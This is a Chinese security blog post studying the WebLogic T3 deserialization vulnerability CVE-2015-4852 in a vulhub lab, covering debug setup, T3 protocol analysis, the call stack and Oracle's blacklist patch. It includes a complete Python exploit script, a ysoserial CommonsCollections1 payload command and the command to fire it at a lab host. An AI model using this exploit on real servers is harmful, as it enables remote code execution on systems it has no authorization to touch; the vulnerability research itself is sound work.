weblogic漏洞初探之CVE-2015-4852

  • A+
所属分类:安全文章

weblogic漏洞初探之CVE-2015-4852

一、环境搭建

1. 搭建docker

这里用了vulhub的环境进行修改:https://vulhub.org/

新建个文件夹,创建两个文件docker-compose.yml、DockerFile

weblogic漏洞初探之CVE-2015-4852

docker-compose.yml:

 version: '2'
 services:
  weblogic:
    image: vulhub/weblogic:10.3.6.0-2017
    ports:
    - "7001:7001"
    - "8453:8453"

DockerFile:

 FROM vulhub/weblogic:10.3.6.0-2017
 ENV debugFlag true
 
 EXPOSE 7001
 EXPOSE 8453

启动docker:

 docker-compose up -d

进入docker容器中,配置weblogic的远程调试

 cd /root/Oracle/Middleware/user_projects/domains/base_domain/bin
 vi setDomainEnv.sh

如下图位置添加两行代码

 debugFlag="true"
 
 export debugFlag

weblogic漏洞初探之CVE-2015-4852

打包modules和wlserver_10.3文件夹并导出

weblogic漏洞初探之CVE-2015-4852

2. 配置idea

打开idea,wlserver_10.3文件夹放入项目中

weblogic漏洞初探之CVE-2015-4852

配置远程调试

weblogic漏洞初探之CVE-2015-4852

再导入wlserver_10.3serverlib下的jar包和modules的所有文件

weblogic漏洞初探之CVE-2015-4852

打个断点后访问漏洞页面即可看到成功触发调试

http://192.168.202.129:7001/wls-wsat/CoordinatorPortType

weblogic漏洞初探之CVE-2015-4852

二、T3协议分析

weblogic使用的T3协议,其实就是RMI的JRMP协议的优化版。

通过payload打过去的流量,来分析T3协议

weblogic漏洞初探之CVE-2015-4852

这是7001端口上的数据包,红色是客户端向服务器请求数据,蓝色的是服务器返回数据

第一部分:

 t3 12.2.1
 AS:255
 HL:19
 MS:10000000
 PU:t3://us-l-breens:7001

客户端向服务器发送的信息,t3加上weblogic服务器的版本号,均以n结尾

第二部分:

 HELO:10.3.6.0.false
 AS:2048
 HL:19

服务器返回的信息,第一行为“HELO:”加weblogic服务器的版本号

第三部分:

客户端最后向服务器发送的数据,重点看第三部分内容

weblogic漏洞初探之CVE-2015-4852

AC ED 00 05是序列化数据的开头特征

这里的第三个数据分为了好几个部分,借了张大佬的图:

weblogic漏洞初探之CVE-2015-4852

以第一个红框开始的是第一部分,后面则是以ACED开头的序列化数据,后面的数据截图就不放出来了,具体可以看这篇T3协议分析文章:

http://drops.xmd5.com/static/drops/web-13470.html

1. T3协议攻击方式

利用T3协议反序列化漏洞的时候,需要向weblogic发送两个数据包。

第一个数据包为T3的协议头,使用“t3 9.2.0nAS:255nHL:19nn”字符串作为T3的协议头发送给weblogic。向weblogic发送T3协议头,以“nn”结束,具体格式见前文。

第二个数据包为JAVA序列化数据,可采用两种方式产生。

  • 第一种生成方式为,将前文所述的weblogic发送的JAVA序列化数据的第二到七部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。

weblogic漏洞初探之CVE-2015-4852

  • 第二种生成方式为,将前文所述的weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。

weblogic漏洞初探之CVE-2015-4852

2. POC构造

这里采取第一种生成POC方式:

  1. 建立socket请求

  2. 发送t3请求数据头

  3. 读取恶意序列化数据,将其拼接至第一部分序列化数据之后

  4. 继续拼接后面剩余的部分序列化数据

  5. 发送恶意数据

 #!/usr/bin/python
 import socket
 import sys
 import struct
 
 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
 server_address = (sys.argv[1], int(sys.argv[2]))
 print 'connecting to %s port %s' % server_address
 sock.connect(server_address)
 
 # Send headers
 headers='t3 12.2.1nAS:255nHL:19nMS:10000000nPU:t3://us-l-breens:7001nn'
 print 'sending "%s"' % headers
 sock.sendall(headers)
 
 data = sock.recv(1024)
 print >>sys.stderr, 'received "%s"' % data
 
 payloadObj = open(sys.argv[3],'rb').read()
 
 payload='x00x00x09xf3x01x65x01xffxffxffxffxffxffxffxffx00x00x00x71x00x00xeax60x00x00x00x18x43x2exc6xa2xa6x39x85xb5xafx7dx63xe6x43x83xf4x2ax6dx92xc9xe9xafx0fx94x72x02x79x73x72x00x78x72x01x78x72x02x78x70x00x00x00x0cx00x00x00x02x00x00x00x00x00x00x00x00x00x00x00x01x00x70x70x70x70x70x70x00x00x00x0cx00x00x00x02x00x00x00x00x00x00x00x00x00x00x00x01x00x70x06xfex01x00x00xacxedx00x05x73x72x00x1dx77x65x62x6cx6fx67x69x63x2ex72x6ax76x6dx2ex43x6cx61x73x73x54x61x62x6cx65x45x6ex74x72x79x2fx52x65x81x57xf4xf9xedx0cx00x00x78x70x72x00x24x77x65x62x6cx6fx67x69x63x2ex63x6fx6dx6dx6fx6ex2ex69x6ex74x65x72x6ex61x6cx2ex50x61x63x6bx61x67x65x49x6ex66x6fxe6xf7x23xe7xb8xaex1exc9x02x00x09x49x00x05x6dx61x6ax6fx72x49x00x05x6dx69x6ex6fx72x49x00x0bx70x61x74x63x68x55x70x64x61x74x65x49x00x0cx72x6fx6cx6cx69x6ex67x50x61x74x63x68x49x00x0bx73x65x72x76x69x63x65x50x61x63x6bx5ax00x0ex74x65x6dx70x6fx72x61x72x79x50x61x74x63x68x4cx00x09x69x6dx70x6cx54x69x74x6cx65x74x00x12x4cx6ax61x76x61x2fx6cx61x6ex67x2fx53x74x72x69x6ex67x3bx4cx00x0ax69x6dx70x6cx56x65x6ex64x6fx72x71x00x7ex00x03x4cx00x0bx69x6dx70x6cx56x65x72x73x69x6fx6ex71x00x7ex00x03x78x70x77x02x00x00x78xfex01x00x00'
 payload=payload+payloadObj
 payload=payload+'xfex01x00x00xacxedx00x05x73x72x00x1dx77x65x62x6cx6fx67x69x63x2ex72x6ax76x6dx2ex43x6cx61x73x73x54x61x62x6cx65x45x6ex74x72x79x2fx52x65x81x57xf4xf9xedx0cx00x00x78x70x72x00x21x77x65x62x6cx6fx67x69x63x2ex63x6fx6dx6dx6fx6ex2ex69x6ex74x65x72x6ex61x6cx2ex50x65x65x72x49x6ex66x6fx58x54x74xf3x9bxc9x08xf1x02x00x07x49x00x05x6dx61x6ax6fx72x49x00x05x6dx69x6ex6fx72x49x00x0bx70x61x74x63x68x55x70x64x61x74x65x49x00x0cx72x6fx6cx6cx69x6ex67x50x61x74x63x68x49x00x0bx73x65x72x76x69x63x65x50x61x63x6bx5ax00x0ex74x65x6dx70x6fx72x61x72x79x50x61x74x63x68x5bx00x08x70x61x63x6bx61x67x65x73x74x00x27x5bx4cx77x65x62x6cx6fx67x69x63x2fx63x6fx6dx6dx6fx6ex2fx69x6ex74x65x72x6ex61x6cx2fx50x61x63x6bx61x67x65x49x6ex66x6fx3bx78x72x00x24x77x65x62x6cx6fx67x69x63x2ex63x6fx6dx6dx6fx6ex2ex69x6ex74x65x72x6ex61x6cx2ex56x65x72x73x69x6fx6ex49x6ex66x6fx97x22x45x51x64x52x46x3ex02x00x03x5bx00x08x70x61x63x6bx61x67x65x73x71x00x7ex00x03x4cx00x0ex72x65x6cx65x61x73x65x56x65x72x73x69x6fx6ex74x00x12x4cx6ax61x76x61x2fx6cx61x6ex67x2fx53x74x72x69x6ex67x3bx5bx00x12x76x65x72x73x69x6fx6ex49x6ex66x6fx41x73x42x79x74x65x73x74x00x02x5bx42x78x72x00x24x77x65x62x6cx6fx67x69x63x2ex63x6fx6dx6dx6fx6ex2ex69x6ex74x65x72x6ex61x6cx2ex50x61x63x6bx61x67x65x49x6ex66x6fxe6xf7x23xe7xb8xaex1exc9x02x00x09x49x00x05x6dx61x6ax6fx72x49x00x05x6dx69x6ex6fx72x49x00x0bx70x61x74x63x68x55x70x64x61x74x65x49x00x0cx72x6fx6cx6cx69x6ex67x50x61x74x63x68x49x00x0bx73x65x72x76x69x63x65x50x61x63x6bx5ax00x0ex74x65x6dx70x6fx72x61x72x79x50x61x74x63x68x4cx00x09x69x6dx70x6cx54x69x74x6cx65x71x00x7ex00x05x4cx00x0ax69x6dx70x6cx56x65x6ex64x6fx72x71x00x7ex00x05x4cx00x0bx69x6dx70x6cx56x65x72x73x69x6fx6ex71x00x7ex00x05x78x70x77x02x00x00x78xfex00xffxfex01x00x00xacxedx00x05x73x72x00x13x77x65x62x6cx6fx67x69x63x2ex72x6ax76x6dx2ex4ax56x4dx49x44xdcx49xc2x3exdex12x1ex2ax0cx00x00x78x70x77x46x21x00x00x00x00x00x00x00x00x00x09x31x32x37x2ex30x2ex31x2ex31x00x0bx75x73x2dx6cx2dx62x72x65x65x6ex73xa5x3cxafxf1x00x00x00x07x00x00x1bx59xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffx00x78xfex01x00x00xacxedx00x05x73x72x00x13x77x65x62x6cx6fx67x69x63x2ex72x6ax76x6dx2ex4ax56x4dx49x44xdcx49xc2x3exdex12x1ex2ax0cx00x00x78x70x77x1dx01x81x40x12x81x34xbfx42x76x00x09x31x32x37x2ex30x2ex31x2ex31xa5x3cxafxf1x00x00x00x00x00x78'
 
 # adjust header for appropriate message length
 payload = "{0}{1}".format(struct.pack('!i', len(payload)), payload[4:])
 
 print 'sending payload...'
 sock.send(payload)

ysoserial生成恶意代码:

java -jar ysoserial.jar CommonsCollections1 "touch /tmp/susscess" > poc.ser

执行exp:

python2 exp.py 192.168.202.129 7001 poc.ser

成功创建文件:

weblogic漏洞初探之CVE-2015-4852

三、漏洞分析

这里idea得jdk版本需要为1.6.0_45,和服务器中的JDK版本一致

weblogic漏洞初探之CVE-2015-4852

已知CC1链中,漏洞触发点为AnnotationInvocationHandler#readObject,在此下个断点:weblogic漏洞初探之CVE-2015-4852

以下是调用栈:

weblogic漏洞初探之CVE-2015-4852

InboundMsgAbbrev#resolveClass中调用了父类的resolveClass方法

weblogic漏洞初探之CVE-2015-4852

其父类的resolveClass方法就是ObjectInputStream#resolveClass,而此处进行了class.forname创建了AnnotationInvocationHandler对象

weblogic漏洞初探之CVE-2015-4852

最后会调用到ObjectInpuStream.readObject造成反序列化

四、补丁修复

官方在InboundMsgAbbrev#resolveClass中添加了黑名单校验,把AnnotationInvocationHandler列入了黑名单中

weblogic漏洞初探之CVE-2015-4852

图参考自xz社区:https://xz.aliyun.com/t/8443#toc-4


本文始发于微信公众号(安全羊):weblogic漏洞初探之CVE-2015-4852

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: